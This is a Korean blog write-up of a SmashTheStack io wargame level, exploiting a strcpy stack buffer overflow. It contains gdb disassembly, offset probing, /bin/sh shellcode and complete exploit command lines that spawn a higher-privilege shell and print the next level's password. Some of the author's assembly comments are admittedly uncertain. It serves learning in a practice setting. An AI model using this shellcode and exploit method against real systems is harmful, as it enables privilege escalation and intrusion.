본문 바로가기
스터디/wargames

SmashTheStack : level5@io.smashthestack 문제풀이

by 깝태 2011. 7. 29.

번 문제는 버퍼 오버플로우 문제이다.


level5@io:/levels$ cd /levels


level5@io:/levels$ ./level05


level5@io:/levels$ cat level05.c

#include <stdio.h>

#include <string.h>


int main(int argc, char **argv) {


        char buf[128]; // 128 바이트 변수 선언


        if(argc < 2) return 1; // argc(인자의 개수)가 2 보다 적으면 프로그램 종료


        strcpy(buf, argv[1]); // argv[1] 을 buf 로 복사 - 버퍼 오버플로우 취약점


        printf("%s\n", buf); // argv[1] 이 복사된 buf 내용 출력


        return 0;

}


STRCPY 함수에서 문자열 복사할때 제한값을 검사하지 않아 버퍼 오버플로우 취약점이 생긴다.

그러면 GDB 로 분석을 해보자.


level5@io:/levels$ gdb -q level05

(gdb) disas main

Dump of assembler code for function main:

0x080483b4 <main+0>:    push   %ebp

0x080483b5 <main+1>:    mov    %esp,%ebp

0x080483b7 <main+3>:    sub    $0xa8,%esp // 프롤로그 - 168 바이트 공간 생성


0x080483bd <main+9>:    and    $0xfffffff0,%esp

0x080483c0 <main+12>:   mov    $0x0,%eax

0x080483c5 <main+17>:   sub    %eax,%esp // 별 의미없는 명령 - EAX, ESP 초기화


0x080483c7 <main+19>:   cmpl   $0x1,0x8(%ebp) // (EBP+8) 과 1 비교 - EBP+8 =>argc 와 1 비교

0x080483cb <main+23>:   jg     0x80483d9 <main+37> // 참이면 0x80483d9 이 곳으로 점프

0x080483cd <main+25>:   movl   $0x1,-0x8c(%ebp) // 거짓일경우 (EBP-140) 에 1 복사

0x080483d7 <main+35>:   jmp    0x8048413 <main+95> // 0x8048413 이 곳으로 점프


0x080483d9 <main+37>:   mov    0xc(%ebp),%eax // EAX 에 (EBP+12) 복사 - EBP+12 => argv[1] 을 EAX 에 복사


0x080483dc <main+40>:   add    $0x4,%eax // EAX 에 4 더하기

0x080483df <main+43>:   mov    (%eax),%eax // EAX 와 EAX 를 같게한다.


0x080483e1 <main+45>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 복사 - ESP+4 => RET 에 EAX 복사

0x080483e5 <main+49>:   lea    -0x88(%ebp),%eax // EAX 에 (EBP-136) 주소 값 복사 

0x080483eb <main+55>:   mov    %eax,(%esp) // ESP 에 EAX 복사 - ESP 에 (EBP-136) 주소값 복사

0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt> strcpy 함수 호출

0x080483f3 <main+63>:   lea    -0x88(%ebp),%eax // EAX 에 (EBP-136) 주소 값 복사

0x080483f9 <main+69>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 복사 - (ESP+4) => RET 에 (EBP-136) 주소 값 복사

0x080483fd <main+73>:   movl   $0x8048524,(%esp) // ESP 에 0x8048524 복사 - 0x8048524:       "%s\n"

0x08048404 <main+80>:   call   0x80482b4 <printf@plt> // printf 함수 호출

0x08048409 <main+85>:   movl   $0x0,-0x8c(%ebp) // (EBP-140) 에 0 복사 

0x08048413 <main+95>:   mov    -0x8c(%ebp),%eax // EAX 에 (EBP-140) 복사


0x08048419 <main+101>:  leave

0x0804841a <main+102>:  ret // 에필로그 작업

End of assembler dump.


어려워서 100% 분석이 되지 않았다ㅠ;


이제 Return Address 부분을 찾아서 페이로드를 구성해야한다.

(EBP-136), (EBP-140) 이 부분이 의심스러워 136, 140 을 먼저 공략해보았다.


(gdb) r `python -c 'print "\x90"*136'`

Starting program: /levels/level05 `python -c 'print "\x90"*136'`


Program exited normally.

(gdb) r `python -c 'print "\x90"*140'`

Starting program: /levels/level05 `python -c 'print "\x90"*140'`


Program received signal SIGSEGV, Segmentation fault.

0x00416306 in _setjmp () from /lib/libc.so.6


NOP 를 140 바이트 넘겨줬을때 세그먼 폴트가 떴다.

그렇다면 우리가 구성해야할 페이로드는 : BUF[136] + SFP[140] + RET[144] 이다.


NOP 를 140 개 넘겨줘서 RET 를 주소를 덮어씌우면 된다. NOP[50] + SHELL CODE[4] + NOP[86] 이렇게 공격해주면 된다.


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31

\xd2\xb0\x0b\xcd\x80 => 사용할 쉘코드


(gdb) r `python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89

\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*86 + "AAAA"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /levels/level05 `python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\

xd2\xb0\x0b\xcd\x80" + "\x90"*86 + "AAAA"'`

1ÀPh//shh/bin‰ãPS‰á1Ò°

                      Í€AAAA


Program received signal SIGSEGV, Segmentation fault.

0x90909090 in ?? ()


이제 RET 부분을 찾아야한다. RET 에는 앞에 NOP 를 넘겨준 부분의 주소를 넣어줄것이다.


(gdb) x/50x $esp

0xbfffdc70:     0x90909090      0x90909090      0x90909090      0x90909090  <= 이 부분을 RET 로 넘겨줘보자

0xbfffdc80:     0x41414190      0x00000041      0x00000000      0x0804820b

0xbfffdc90:     0x00b79ff4      0x08048470      0x080482f0      0xbfffdcc8

0xbfffdca0:     0xebb8e081      0x5ec835ff      0x00000000      0x00000000

0xbfffdcb0:     0x00000000      0x00de4200      0x00a5637d      0x00debff4

0xbfffdcc0:     0x00000002      0x080482f0      0x00000000      0x08048311

0xbfffdcd0:     0x080483b4      0x00000002      0xbfffdcf4      0x08048470

0xbfffdce0:     0x08048420      0x00ddf270      0xbfffdcec      0x00de9a05

0xbfffdcf0:     0x00000002      0xbfffddf0      0xbfffde00      0x00000000

0xbfffdd00:     0xbfffdea6      0xbfffdeb6      0xbfffdec1      0xbfffdee1

0xbfffdd10:     0xbfffdef5      0xbfffdf01      0xbfffdf20      0xbfffdf2b

0xbfffdd20:     0xbfffdf58      0xbfffdf6e      0xbfffdf7d      0xbfffdf89

0xbfffdd30:     0xbfffdf92      0xbfffdfa4

(gdb)

0xbfffdd38:     0xbfffdfac      0xbfffdfbb      0x00000000      0x00000010

0xbfffdd48:     0xbfebfbff      0x00000006      0x00001000      0x00000011

0xbfffdd58:     0x00000064      0x00000003      0x08048034      0x00000004

0xbfffdd68:     0x00000020      0x00000005      0x00000007      0x00000007

0xbfffdd78:     0x00dd1000      0x00000008      0x00000000      0x00000009

0xbfffdd88:     0x080482f0      0x0000000b      0x000003ed      0x0000000c

0xbfffdd98:     0x000003ed      0x0000000d      0x000003ed      0x0000000e

0xbfffdda8:     0x000003ed      0x00000017      0x00000000      0x00000019

0xbfffddb8:     0xbfffdddb      0x0000000f      0xbfffddeb      0x00000000

0xbfffddc8:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffddd8:     0x25000000      0xb78c20e6      0x948d200c      0xb1407512

0xbfffdde8:     0x69766f00      0x00363836      0x76656c2f      0x2f736c65

0xbfffddf8:     0x6576656c      0x0035306c

(gdb)

0xbfffde00:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffde10:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffde20:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffde30:     0xc0319090      0x2f2f6850      0x2f686873      0x896e6962

0xbfffde40:     0x895350e3      0xb0d231e1      0x9080cd0b      0x90909090

0xbfffde50:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffde60:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffde70:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffde80:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffde90:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffdea0:     0x41414190      0x48530041      0x3d4c4c45      0x6e69622f

0xbfffdeb0:     0x7361622f      0x45540068      0x783d4d52      0x6d726574

0xbfffdec0:     0x48535300      0x494c435f


level5@io:/levels$ ./level05 `python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89

\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*86 + "\x70\xfc\xff\xbf"'`

1ÀPh//shh/bin‰ãPS‰á1Ò°

                      Í€püÿ¿

Segmentation fault


엇? 원래 성공해야되는데 권한이 뜨지를 않았다. 분명 잘못본건 없었는것 같았는데...

그래서 주소를 여러번 바꿔주면서 하다가 이상한 주소에서 문제가 풀어졌다.


level5@io:/levels$ ./level05 `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*96 + "\x10\xdd\xff\xbf"'` aa aa

1ÀPh//shh/bin‰ãPS‰á1Ò°

                      Í€Ýÿ¿


sh-3.2$ id

uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5),1029(nosu)


sh-3.2$ cat /home/level6/.pass

MJQsFVD8k46V


얼떨결에 문제가 풀어졌지만 시간날때 다시 분석해서 꼭 원인을 찾아봐야겠다.